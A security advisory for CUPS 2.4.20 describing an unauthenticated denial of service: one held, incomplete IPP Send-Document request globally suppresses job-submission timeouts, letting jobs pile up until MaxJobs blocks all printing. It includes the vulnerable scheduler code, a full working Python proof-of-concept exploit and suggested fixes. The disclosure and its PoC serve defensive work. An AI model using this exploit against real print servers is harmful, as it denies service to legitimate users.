Skip to content

GHSA-hhw5-qqmc-p6rg

CVE Information

Summary

A flaw in cupsdCheckJobs() allows an unauthenticated client that can reach the IPP service to freeze job-submission timeouts for every job on the server with one incomplete Send-Document request.

While any client connection has an in-flight IPP_SEND_DOCUMENT request, cupsdCheckJobs() skips timeout processing for all jobs with pending_timeout set, without checking whether the connection belongs to the job currently being examined.

As a result, jobs that are still waiting for documents (job-incoming) never expire. An attacker can accumulate such jobs until MaxJobs is reached, after which new print submissions from all users are rejected.

I reproduced this on the official CUPS v2.4.20 release build and current 2.4.x HEAD. No authentication is required before placing the connection into the state that triggers the global timeout suppression.

Details

The issue is in the submission-timeout handling in cupsdCheckJobs() (scheduler/job.c:282-302 on v2.4.20):

if (job->pending_timeout)
{
 /*
  * This job is pending; check that we don't have an active Send-Document
  * operation in progress on any of the client connections, then timeout
  * the job so we can start printing...
  */

  cupsd_client_t *con;        /* Current client connection */

  for (con = cupsArrayFirst(Clients); con; con = cupsArrayNext(Clients))
    if (con->request &&
        con->request->request.op.operation_id == IPP_SEND_DOCUMENT)
      break;

  if (con)
    continue;

  ...

  cupsdSetJobState(job, ..., "Job submission timed out.");
}

For each job whose submission timeout has expired, cupsd scans the global client list for any connection currently processing IPP_SEND_DOCUMENT. The code comment itself states "on any of the client connections" — the scan never matches the connection to the job being examined; there is no comparison of job-id, job-uri, or any other job-specific state. A single unrelated Send-Document consequently suppresses submission timeouts globally.

The condition can be reached before Send-Document authorization is performed.

con->request is already parsed and contains the IPP_SEND_DOCUMENT operation while the HTTP request body is still being received (scheduler/client.c:1724-1727). The actual IPP operation handler is dispatched only after the complete body reaches HTTP_STATE_POST_SEND (scheduler/client.c:1891).

A client can therefore:

  1. send valid HTTP and IPP headers for Send-Document;
  2. declare a large Content-Length;
  3. send only part of the document body; and
  4. keep the TCP connection open.

At this point con->request->request.op.operation_id == IPP_SEND_DOCUMENT, but the request has not reached the operation handler, so the Send-Document policy check has not yet occurred.

While that connection remains open, unrelated jobs in job-incoming state do not expire after MultipleOperationTimeout (900 seconds by default).

An attacker can then repeatedly issue Create-Job requests. These jobs normally expire if no document is supplied, but the held Send-Document connection prevents that cleanup.

Once the number of retained jobs reaches MaxJobs (500 by default), further job submissions are rejected because the scheduler's job table is full.

Closing the held connection immediately removes the global suppression, after which the expired jobs are timed out and cleaned up.

I reproduced the issue on:

  • CUPS v2.4.20 release tarball
  • CUPS 2.4.x HEAD a7bd8ba

Proof of concept

Build CUPS v2.4.20 from the official release tarball:

./configure
make

Use the shipped conf/cupsd.conf.

For testing from another host, configure cupsd to listen on a reachable address and allow the test client's subnet under <Location />, for example:

Listen 192.168.1.10:8632

To shorten the reproduction, optionally set:

MultipleOperationTimeout 12

The default is 900 seconds; this only reduces the time required to demonstrate the bug.

Create an accepting queue:

lpadmin -p p1 -E -v file:///dev/null

Job creation from another host requires a shared queue (DefaultShared defaults to Yes, so queues created with lpadmin are shared); against an unshared queue a remote Create-Job is rejected with client-error-not-authorized before the job is created.

Then run the following from a client permitted by the host ACL. No credentials are supplied.

#!/usr/bin/env python3
import socket
import struct
import sys
import time

HOST = sys.argv[1]
PORT = int(sys.argv[2])

PURI = f"ipp://{HOST}:{PORT}/printers/p1"
TMO = 12

def attr_str(tag, name, value):
    value = value.encode()
    return (
        struct.pack(">BH", tag, len(name))
        + name.encode()
        + struct.pack(">H", len(value))
        + value
    )

def attr_int(name, value):
    return (
        struct.pack(">BH", 0x21, len(name))
        + name.encode()
        + struct.pack(">HI", 4, value)
    )

def attr_bool(name, value):
    return (
        struct.pack(">BH", 0x22, len(name))
        + name.encode()
        + struct.pack(">HB", 1, 1 if value else 0)
    )

def ipp_post(body, timeout=15):
    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Content-Type: application/ipp\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode() + body

    sock = socket.create_connection((HOST, PORT), timeout=timeout)
    sock.sendall(request)

    response = b""

    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
    except socket.timeout:
        pass

    sock.close()

    if b"\r\n\r\n" not in response:
        return None, b""

    ipp = response.split(b"\r\n\r\n", 1)[1]
    code = struct.unpack(">H", ipp[2:4])[0] if len(ipp) >= 4 else None

    return code, ipp

def create_job(user):
    body = struct.pack(">BBHI", 1, 1, 0x0005, 1) + b"\x01"
    body += attr_str(0x47, "attributes-charset", "utf-8")
    body += attr_str(0x48, "attributes-natural-language", "en")
    body += attr_str(0x45, "printer-uri", PURI)
    body += attr_str(0x42, "requesting-user-name", user)
    body += b"\x03"

    code, ipp = ipp_post(body)

    pos = ipp.find(b"job-id")
    job_id = (
        struct.unpack(">I", ipp[pos + 8:pos + 12])[0]
        if pos >= 0 else None
    )

    return code, job_id

def job_state(job_id, user):
    body = struct.pack(">BBHI", 1, 1, 0x0009, 2) + b"\x01"
    body += attr_str(0x47, "attributes-charset", "utf-8")
    body += attr_str(0x48, "attributes-natural-language", "en")
    body += attr_str(
        0x45,
        "job-uri",
        f"ipp://{HOST}:{PORT}/jobs/{job_id}",
    )
    body += attr_str(0x42, "requesting-user-name", user)
    body += b"\x03"

    code, ipp = ipp_post(body)

    pos = ipp.find(b"job-state")
    state = (
        struct.unpack(">I", ipp[pos + 11:pos + 15])[0]
        if pos >= 0 else None
    )

    return code, state


# Create the attacker's job.
code, job_id = create_job("attacker")
print("Create-Job:", hex(code), "job-id:", job_id)


# Start Send-Document but deliberately leave the HTTP body incomplete.
declared = 1 << 20
actual = 4096

body = struct.pack(">BBHI", 1, 1, 0x0006, 2) + b"\x01"
body += attr_str(0x47, "attributes-charset", "utf-8")
body += attr_str(0x48, "attributes-natural-language", "en")
body += attr_str(0x45, "printer-uri", PURI)
body += attr_int("job-id", job_id)
body += attr_str(0x42, "requesting-user-name", "attacker")
body += attr_bool("last-document", False)
body += b"\x02" + b"\x03" + b"A" * declared

headers = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/ipp\r\n"
    f"Content-Length: {len(body)}\r\n"
    f"Connection: keep-alive\r\n\r\n"
).encode()

pin = socket.create_connection((HOST, PORT), timeout=30)

pin.sendall(
    headers
    + body[:-declared]
    + b"A" * actual
)


# Create unrelated jobs.
time.sleep(2)

victims = [
    create_job(f"victim{i}")
    for i in range(3)
]

print(
    "victim Create-Jobs:",
    [(hex(code), jid) for code, jid in victims],
)


# Wait beyond twice the configured submission timeout.
time.sleep(2 * TMO + 4)

held = [
    job_state(jid, f"victim{i}")
    for i, (_, jid) in enumerate(victims)
]

print(
    "states while Send-Document is held:",
    [(hex(code), state) for code, state in held],
)


# Release the incomplete Send-Document.
pin.close()

time.sleep(8)

after = [
    job_state(jid, f"victim{i}")
    for i, (_, jid) in enumerate(victims)
]

print(
    "states after release:",
    [(hex(code), state) for code, state in after],
)

While the incomplete Send-Document connection is held, the unrelated jobs remain in state 4 (job-incoming) even after more than twice MultipleOperationTimeout.

No corresponding:

Job submission timed out.

messages appear in error_log.

After the held connection is closed, the expired jobs time out immediately and the timeout messages appear together.

To demonstrate the full denial of service, keep the Send-Document connection open and continue issuing Create-Job requests. Once the scheduler reaches MaxJobs, additional submissions are rejected with client-error-not-possible / "too many jobs".

Impact

This is an unauthenticated denial-of-service vulnerability in cupsd.

A client that can reach the scheduler through the configured host ACL can keep one incomplete Send-Document request open and globally disable submission-timeout cleanup.

This allows incomplete jobs to accumulate until MaxJobs is exhausted, after which legitimate users can no longer submit new print jobs.

The denial of service persists for as long as the attacker maintains the connection. Closing it allows the expired jobs to time out and the scheduler to recover.

Network-accessible shared print servers and spool servers are the primary affected deployments. Systems that expose cupsd only on loopback are not remotely reachable through this path.

A robust fix should make the in-flight Send-Document check job-specific, for example by matching the request's job-id or job-uri against the job currently being timed out.

Separately, enforcing a timeout for incomplete HTTP request bodies would prevent a client from holding the pre-dispatch Send-Document state indefinitely.